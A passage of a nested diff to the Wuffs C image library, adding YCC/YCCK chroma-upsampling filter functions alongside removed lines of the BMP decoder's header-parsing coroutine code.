wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box, ++ }, ++ { ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box, ++ }, ++ { ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box, ++ }, ++}; ++ ++static inline uint32_t // ++wuffs_private_impl__swizzle_has_triangle_upsampler(uint32_t inv_h, ++ uint32_t inv_v) { ++ if (inv_h == 1u) { ++ return inv_v == 2u; ++ } else if (inv_h == 2u) { ++ return (inv_v == 1u) || (inv_v == 2u); ++ } ++ return false; ++} ++ ++// -------- ++ ++// All of the wuffs_private_impl__swizzle_ycc__etc functions have ++// preconditions. See all of the checks made in ++// wuffs_base__pixel_swizzler__swizzle_ycck before calling these functions. For ++// example, (width > 0) is a precondition, but there are many more. ++ ++static void // ++wuffs_private_impl__swizzle_ycck__general__triangle_filter_edge_row( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t width, ++ uint32_t y, ++ const uint8_t* src_ptr0, ++ const uint8_t* src_ptr1, ++ const uint8_t* src_ptr2, ++ const uint8_t* src_ptr3, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t stride3, ++ uint32_t inv_h0, ++ uint32_t inv_h1, ++ uint32_t inv_h2, ++ uint32_t inv_h3, ++ uint32_t inv_v0, ++ uint32_t inv_v1, ++ uint32_t inv_v2, ++ uint32_t inv_v3, ++ uint32_t half_width_for_2to1, ++ uint32_t h1v2_bias, ++ uint8_t* scratch_buffer_2k_ptr, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc3, ++ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func) { ++ const uint8_t* src0 = src_ptr0 + ((y / inv_v0) * (size_t)stride0); ++ const uint8_t* src1 = src_ptr1 + ((y / inv_v1) * (size_t)stride1); ++ const uint8_t* src2 = src_ptr2 + ((y / inv_v2) * (size_t)stride2); ++ const uint8_t* src3 = src_ptr3 + ((y / inv_v3) * (size_t)stride3); ++ uint32_t total_src_len0 = 0u; ++ uint32_t total_src_len1 = 0u; ++ uint32_t total_src_len2 = 0u; ++ uint32_t total_src_len3 = 0u; ++ ++ uint32_t x = 0u; ++ while (x < width) { ++ bool first_column = x == 0u; ++ uint32_t end = x + 480u; ++ if (end > width) { ++ end = width; + } +- self->private_impl.f_padding -= self->private_impl.f_bitmap_info_len; +- if (self->private_impl.f_bitmap_info_len == 12u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_3 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; +- if (num_bits_3 == 8) { +- t_3 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)) << 56; +- } +- } +- self->private_impl.f_width = t_3; ++ ++ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; ++ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; ++ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; ++ total_src_len0 += src_len0; ++ total_src_len1 += src_len1; ++ total_src_len2 += src_len2; ++ total_src_len3 += src_len3; ++ ++ const uint8_t* src_ptr_x0 = src0 + (x / inv_h0); ++ const uint8_t* up0 = (*upfunc0)( // ++ scratch_buffer_2k_ptr + (0u * 480u), // ++ src_ptr_x0, // ++ src_ptr_x0, // ++ src_len0, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len0 >= half_width_for_2to1)); ++ ++ const uint8_t* src_ptr_x1 = src1 + (x / inv_h1); ++ const uint8_t* up1 = (*upfunc1)( // ++ scratch_buffer_2k_ptr + (1u * 480u), // ++ src_ptr_x1, // ++ src_ptr_x1, // ++ src_len1, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len1 >= half_width_for_2to1)); ++ ++ const uint8_t* src_ptr_x2 = src2 + (x / inv_h2); ++ const uint8_t* up2 = (*upfunc2)( // ++ scratch_buffer_2k_ptr + (2u * 480u), // ++ src_ptr_x2, // ++ src_ptr_x2, // ++ src_len2, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len2 >= half_width_for_2to1)); ++ ++ const uint8_t* src_ptr_x3 = src3 + (x / inv_h3); ++ const uint8_t* up3 = (*upfunc3)( // ++ scratch_buffer_2k_ptr + (3u * 480u), // ++ src_ptr_x3, // ++ src_ptr_x3, // ++ src_len3, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len3 >= half_width_for_2to1)); ++ ++ (*conv4func)(dst, x, end, y, up0, up1, up2, up3); ++ x = end; ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycck__general__triangle_filter( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x_min_incl, ++ uint32_t x_max_excl, ++ uint32_t y_min_incl, ++ uint32_t y_max_excl, ++ const uint8_t* src_ptr0, ++ const uint8_t* src_ptr1, ++ const uint8_t* src_ptr2, ++ const uint8_t* src_ptr3, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t stride3, ++ uint32_t inv_h0, ++ uint32_t inv_h1, ++ uint32_t inv_h2, ++ uint32_t inv_h3, ++ uint32_t inv_v0, ++ uint32_t inv_v1, ++ uint32_t inv_v2, ++ uint32_t inv_v3, ++ uint32_t half_width_for_2to1, ++ uint32_t half_height_for_2to1, ++ uint8_t* scratch_buffer_2k_ptr, ++ wuffs_private_impl__swizzle_ycc__upsample_func (*upfuncs)[4][4], ++ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func) { ++ if ((x_min_incl != 0) || (y_min_incl != 0)) { ++ return; ++ } ++ ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0 = ++ (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1 = ++ (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2 = ++ (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc3 = ++ (*upfuncs)[(inv_h3 - 1u) & 3u][(inv_v3 - 1u) & 3u]; ++ ++ // First row. ++ uint32_t h1v2_bias = 1u; ++ wuffs_private_impl__swizzle_ycck__general__triangle_filter_edge_row( ++ dst, x_max_excl, 0u, // ++ src_ptr0, src_ptr1, src_ptr2, src_ptr3, // ++ stride0, stride1, stride2, stride3, // ++ inv_h0, inv_h1, inv_h2, inv_h3, // ++ inv_v0, inv_v1, inv_v2, inv_v3, // ++ half_width_for_2to1, // ++ h1v2_bias, // ++ scratch_buffer_2k_ptr, // ++ upfunc0, upfunc1, upfunc2, upfunc3, conv4func); ++ h1v2_bias = 2u; ++ ++ // Middle rows. ++ bool last_row = y_max_excl == 2u * half_height_for_2to1; ++ uint32_t middle_y_max_excl = last_row ? (y_max_excl - 1u) : y_max_excl; ++ uint32_t y; ++ for (y = 1u; y < middle_y_max_excl; y++) { ++ const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); ++ const uint8_t* src0_minor = ++ (inv_v0 != 2u) ++ ? src0_major ++ : ((y & 1u) ? (src0_major + stride0) : (src0_major - stride0)); ++ const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); ++ const uint8_t* src1_minor = ++ (inv_v1 != 2u) ++ ? src1_major ++ : ((y & 1u) ? (src1_major + stride1) : (src1_major - stride1)); ++ const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); ++ const uint8_t* src2_minor = ++ (inv_v2 != 2u) ++ ? src2_major ++ : ((y & 1u) ? (src2_major + stride2) : (src2_major - stride2)); ++ const uint8_t* src3_major = src_ptr3 + ((y / inv_v3) * (size_t)stride3); ++ const uint8_t* src3_minor = ++ (inv_v3 != 2u) ++ ? src3_major ++ : ((y & 1u) ? (src3_major + stride3) : (src3_major - stride3)); ++ uint32_t total_src_len0 = 0u; ++ uint32_t total_src_len1 = 0u; ++ uint32_t total_src_len2 = 0u; ++ uint32_t total_src_len3 = 0u; ++ ++ uint32_t x = 0u; ++ while (x < x_max_excl) { ++ bool first_column = x == 0u; ++ uint32_t end = x + 480u; ++ if (end > x_max_excl) { ++ end = x_max_excl; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- uint32_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_4 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; +- if (num_bits_4 == 8) { +- t_4 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)) << 56; +- } +- } +- self->private_impl.f_height = t_4; ++ ++ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; ++ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; ++ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; ++ total_src_len0 += src_len0; ++ total_src_len1 += src_len1; ++ total_src_len2 += src_len2; ++ total_src_len3 += src_len3; ++ ++ const uint8_t* up0 = (*upfunc0)( // ++ scratch_buffer_2k_ptr + (0u * 480u), // ++ src0_major + (x / inv_h0), // ++ src0_minor + (x / inv_h0), // ++ src_len0, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len0 >= half_width_for_2to1)); ++ ++ const uint8_t* up1 = (*upfunc1)( // ++ scratch_buffer_2k_ptr + (1u * 480u), // ++ src1_major + (x / inv_h1), // ++ src1_minor + (x / inv_h1), // ++ src_len1, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len1 >= half_width_for_2to1)); ++ ++ const uint8_t* up2 = (*upfunc2)( // ++ scratch_buffer_2k_ptr + (2u * 480u), // ++ src2_major + (x / inv_h2), // ++ src2_minor + (x / inv_h2), // ++ src_len2, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len2 >= half_width_for_2to1)); ++ ++ const uint8_t* up3 = (*upfunc3)( // ++ scratch_buffer_2k_ptr + (3u * 480u), // ++ src3_major + (x / inv_h3), // ++ src3_minor + (x / inv_h3), // ++ src_len3, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len3 >= half_width_for_2to1)); ++ ++ (*conv4func)(dst, x, end, y, up0, up1, up2, up3); ++ x = end; ++ } ++ ++ h1v2_bias ^= 3u; ++ } ++ ++ // Last row. ++ if (middle_y_max_excl != y_max_excl) { ++ wuffs_private_impl__swizzle_ycck__general__triangle_filter_edge_row( ++ dst, x_max_excl, middle_y_max_excl, // ++ src_ptr0, src_ptr1, src_ptr2, src_ptr3, // ++ stride0, stride1, stride2, stride3, // ++ inv_h0, inv_h1, inv_h2, inv_h3, // ++ inv_v0, inv_v1, inv_v2, inv_v3, // ++ half_width_for_2to1, // ++ h1v2_bias, // ++ scratch_buffer_2k_ptr, // ++ upfunc0, upfunc1, upfunc2, upfunc3, conv4func); ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycc__general__triangle_filter_edge_row( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t width, ++ uint32_t y, ++ const uint8_t* src_ptr0, ++ const uint8_t* src_ptr1, ++ const uint8_t* src_ptr2, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t inv_h0, ++ uint32_t inv_h1, ++ uint32_t inv_h2, ++ uint32_t inv_v0, ++ uint32_t inv_v1, ++ uint32_t inv_v2, ++ uint32_t half_width_for_2to1, ++ uint32_t h1v2_bias, ++ uint8_t* scratch_buffer_2k_ptr, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2, ++ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func) { ++ const uint8_t* src0 = src_ptr0 + ((y / inv_v0) * (size_t)stride0); ++ const uint8_t* src1 = src_ptr1 + ((y / inv_v1) * (size_t)stride1); ++ const uint8_t* src2 = src_ptr2 + ((y / inv_v2) * (size_t)stride2); ++ uint32_t total_src_len0 = 0u; ++ uint32_t total_src_len1 = 0u; ++ uint32_t total_src_len2 = 0u; ++ ++ uint32_t x = 0u; ++ while (x < width) { ++ bool first_column = x == 0u; ++ uint32_t end = x + 672u; ++ if (end > width) { ++ end = width; ++ } ++ ++ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; ++ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; ++ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ total_src_len0 += src_len0; ++ total_src_len1 += src_len1; ++ total_src_len2 += src_len2; ++ ++ const uint8_t* src_ptr_x0 = src0 + (x / inv_h0); ++ const uint8_t* up0 = (*upfunc0)( // ++ scratch_buffer_2k_ptr + (0u * 672u), // ++ src_ptr_x0, // ++ src_ptr_x0, // ++ src_len0, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len0 >= half_width_for_2to1)); ++ ++ const uint8_t* src_ptr_x1 = src1 + (x / inv_h1); ++ const uint8_t* up1 = (*upfunc1)( // ++ scratch_buffer_2k_ptr + (1u * 672u), // ++ src_ptr_x1, // ++ src_ptr_x1, // ++ src_len1, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len1 >= half_width_for_2to1)); ++ ++ const uint8_t* src_ptr_x2 = src2 + (x / inv_h2); ++ const uint8_t* up2 = (*upfunc2)( // ++ scratch_buffer_2k_ptr + (2u * 672u), // ++ src_ptr_x2, // ++ src_ptr_x2, // ++ src_len2, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len2 >= half_width_for_2to1)); ++ ++ (*conv3func)(dst, x, end, y, up0, up1, up2); ++ x = end; ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycc__general__triangle_filter( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x_min_incl, ++ uint32_t x_max_excl, ++ uint32_t y_min_incl, ++ uint32_t y_max_excl, ++ const uint8_t* src_ptr0, ++ const uint8_t* src_ptr1, ++ const uint8_t* src_ptr2, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t inv_h0, ++ uint32_t inv_h1, ++ uint32_t inv_h2, ++ uint32_t inv_v0, ++ uint32_t inv_v1, ++ uint32_t inv_v2, ++ uint32_t half_width_for_2to1, ++ uint32_t half_height_for_2to1, ++ uint8_t* scratch_buffer_2k_ptr, ++ wuffs_private_impl__swizzle_ycc__upsample_func (*upfuncs)[4][4], ++ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func) { ++ if ((x_min_incl != 0) || (y_min_incl != 0)) { ++ return; ++ } ++ ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0 = ++ (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1 = ++ (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2 = ++ (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; ++ ++ // First row. ++ uint32_t h1v2_bias = 1u; ++ wuffs_private_impl__swizzle_ycc__general__triangle_filter_edge_row( ++ dst, x_max_excl, 0u, // ++ src_ptr0, src_ptr1, src_ptr2, // ++ stride0, stride1, stride2, // ++ inv_h0, inv_h1, inv_h2, // ++ inv_v0, inv_v1, inv_v2, // ++ half_width_for_2to1, // ++ h1v2_bias, // ++ scratch_buffer_2k_ptr, // ++ upfunc0, upfunc1, upfunc2, conv3func); ++ h1v2_bias = 2u; ++ ++ // Middle rows. ++ bool last_row = y_max_excl == 2u * half_height_for_2to1; ++ uint32_t middle_y_max_excl = last_row ? (y_max_excl - 1u) : y_max_excl; ++ uint32_t y; ++ for (y = 1u; y < middle_y_max_excl; y++) { ++ const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); ++ const uint8_t* src0_minor = ++ (inv_v0 != 2u) ++ ? src0_major ++ : ((y & 1u) ? (src0_major + stride0) : (src0_major - stride0)); ++ const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); ++ const uint8_t* src1_minor = ++ (inv_v1 != 2u) ++ ? src1_major ++ : ((y & 1u) ? (src1_major + stride1) : (src1_major - stride1)); ++ const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); ++ const uint8_t* src2_minor = ++ (inv_v2 != 2u) ++ ? src2_major ++ : ((y & 1u) ? (src2_major + stride2) : (src2_major - stride2)); ++ uint32_t total_src_len0 = 0u; ++ uint32_t total_src_len1 = 0u; ++ uint32_t total_src_len2 = 0u; ++ ++ uint32_t x = 0u; ++ while (x < x_max_excl) { ++ bool first_column = x == 0u; ++ uint32_t end = x + 672u; ++ if (end > x_max_excl) { ++ end = x_max_excl; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); +- uint32_t t_5; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_5 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_5 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_5; +- if (num_bits_5 == 8) { +- t_5 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_5 += 8u; +- *scratch |= ((uint64_t)(num_bits_5)) << 56; +- } +- } +- v_planes = t_5; ++ ++ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; ++ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; ++ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ total_src_len0 += src_len0; ++ total_src_len1 += src_len1; ++ total_src_len2 += src_len2; ++ ++ const uint8_t* up0 = (*upfunc0)( // ++ scratch_buffer_2k_ptr + (0u * 672u), // ++ src0_major + (x / inv_h0), // ++ src0_minor + (x / inv_h0), // ++ src_len0, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len0 >= half_width_for_2to1)); ++ ++ const uint8_t* up1 = (*upfunc1)( // ++ scratch_buffer_2k_ptr + (1u * 672u), // ++ src1_major + (x / inv_h1), // ++ src1_minor + (x / inv_h1), // ++ src_len1, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len1 >= half_width_for_2to1)); ++ ++ const uint8_t* up2 = (*upfunc2)( // ++ scratch_buffer_2k_ptr + (2u * 672u), // ++ src2_major + (x / inv_h2), // ++ src2_minor + (x / inv_h2), // ++ src_len2, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len2 >= half_width_for_2to1)); ++ ++ (*conv3func)(dst, x, end, y, up0, up1, up2); ++ x = end; ++ } ++ ++ h1v2_bias ^= 3u; ++ } ++ ++ // Last row. ++ if (middle_y_max_excl != y_max_excl) { ++ wuffs_private_impl__swizzle_ycc__general__triangle_filter_edge_row( ++ dst, x_max_excl, middle_y_max_excl, // ++ src_ptr0, src_ptr1, src_ptr2, // ++ stride0, stride1, stride2, // ++ inv_h0, inv_h1, inv_h2, // ++ inv_v0, inv_v1, inv_v2, // ++ half_width_for_2to1, // ++ h1v2_bias, // ++ scratch_buffer_2k_ptr, // ++ upfunc0, upfunc1, upfunc2, conv3func); ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycc__general__box_filter( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x_min_incl, ++ uint32_t x_max_excl, ++ uint32_t y_min_incl, ++ uint32_t y_max_excl, ++ const uint8_t* src_ptr0, ++ const uint8_t* src_ptr1, ++ const uint8_t* src_ptr2, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t inv_h0, ++ uint32_t inv_h1, ++ uint32_t inv_h2, ++ uint32_t inv_v0, ++ uint32_t inv_v1, ++ uint32_t inv_v2, ++ uint32_t half_width_for_2to1, ++ uint32_t half_height_for_2to1, ++ uint8_t* scratch_buffer_2k_ptr, ++ wuffs_private_impl__swizzle_ycc__upsample_func (*upfuncs)[4][4], ++ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func) { ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0 = ++ (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1 = ++ (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2 = ++ (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; ++ ++ uint32_t y; ++ for (y = y_min_incl; y < y_max_excl; y++) { ++ const uint8_t* src0_major = ++ src_ptr0 + (((y - y_min_incl) / inv_v0) * (size_t)stride0); ++ const uint8_t* src1_major = ++ src_ptr1 + (((y - y_min_incl) / inv_v1) * (size_t)stride1); ++ const uint8_t* src2_major = ++ src_ptr2 + (((y - y_min_incl) / inv_v2) * (size_t)stride2); ++ ++ uint32_t x = x_min_incl; ++ while (x < x_max_excl) { ++ uint32_t end = x + 672u; ++ if (end > x_max_excl) { ++ end = x_max_excl; + } +- if (v_planes != 1u) { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; ++ ++ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; ++ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; ++ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ ++ const uint8_t* up0 = (*upfunc0)( // ++ scratch_buffer_2k_ptr + (0u * 672u), // ++ src0_major + ((x - x_min_incl) / inv_h0), // ++ src0_major + ((x - x_min_incl) / inv_h0), // ++ src_len0, // ++ 0u, false, false); ++ ++ const uint8_t* up1 = (*upfunc1)( // ++ scratch_buffer_2k_ptr + (1u * 672u), // ++ src1_major + ((x - x_min_incl) / inv_h1), // ++ src1_major + ((x - x_min_incl) / inv_h1), // ++ src_len1, // ++ 0u, false, false); ++ ++ const uint8_t* up2 = (*upfunc2)( // ++ scratch_buffer_2k_ptr + (2u * 672u), // ++ src2_major + ((x - x_min_incl) / inv_h2), // ++ src2_major + ((x - x_min_incl) / inv_h2), // ++ src_len2, // ++ 0u, false, false); ++ ++ (*conv3func)(dst, x, end, y, up0, up1, up2); ++ x = end; ++ } ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycck__general__box_filter( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x_min_incl, ++ uint32_t x_max_excl, ++ uint32_t y_min_incl, ++ uint32_t y_max_excl, ++ const uint8_t* src_ptr0, ++ const uint8_t* src_ptr1, ++ const uint8_t* src_ptr2, ++ const uint8_t* src_ptr3, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t stride3, ++ uint32_t inv_h0, ++ uint32_t inv_h1, ++ uint32_t inv_h2, ++ uint32_t inv_h3, ++ uint32_t inv_v0, ++ uint32_t inv_v1, ++ uint32_t inv_v2, ++ uint32_t inv_v3, ++ uint32_t half_width_for_2to1, ++ uint32_t half_height_for_2to1, ++ uint8_t* scratch_buffer_2k_ptr, ++ wuffs_private_impl__swizzle_ycc__upsample_func (*upfuncs)[4][4], ++ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func) { ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0 = ++ (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1 = ++ (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2 = ++ (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc3 = ++ (*upfuncs)[(inv_h3 - 1u) & 3u][(inv_v3 - 1u) & 3u]; ++ ++ uint32_t y; ++ for (y = y_min_incl; y < y_max_excl; y++) { ++ const uint8_t* src0_major = ++ src_ptr0 + (((y - y_min_incl) / inv_v0) * (size_t)stride0); ++ const uint8_t* src1_major = ++ src_ptr1 + (((y - y_min_incl) / inv_v1) * (size_t)stride1); ++ const uint8_t* src2_major = ++ src_ptr2 + (((y - y_min_incl) / inv_v2) * (size_t)stride2); ++ const uint8_t* src3_major = ++ src_ptr3 + (((y - y_min_incl) / inv_v3) * (size_t)stride3); ++ ++ uint32_t x = x_min_incl; ++ while (x < x_max_excl) { ++ uint32_t end = x + 480u; ++ if (end > x_max_excl) { ++ end = x_max_excl; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); +- uint32_t t_6; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_6 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_6 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_6; +- if (num_bits_6 == 8) { +- t_6 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_6 += 8u; +- *scratch |= ((uint64_t)(num_bits_6)) << 56; +- } +- } +- self->private_impl.f_bits_per_pixel = t_6; +- } +- } else if (self->private_impl.f_bitmap_info_len == 16u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); +- uint32_t t_7; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_7 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; +- if (num_bits_7 == 24) { +- t_7 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_7 += 8u; +- *scratch |= ((uint64_t)(num_bits_7)) << 56; +- } +- } +- v_width = t_7; +- } +- if (v_width > 2147483647u) { +- 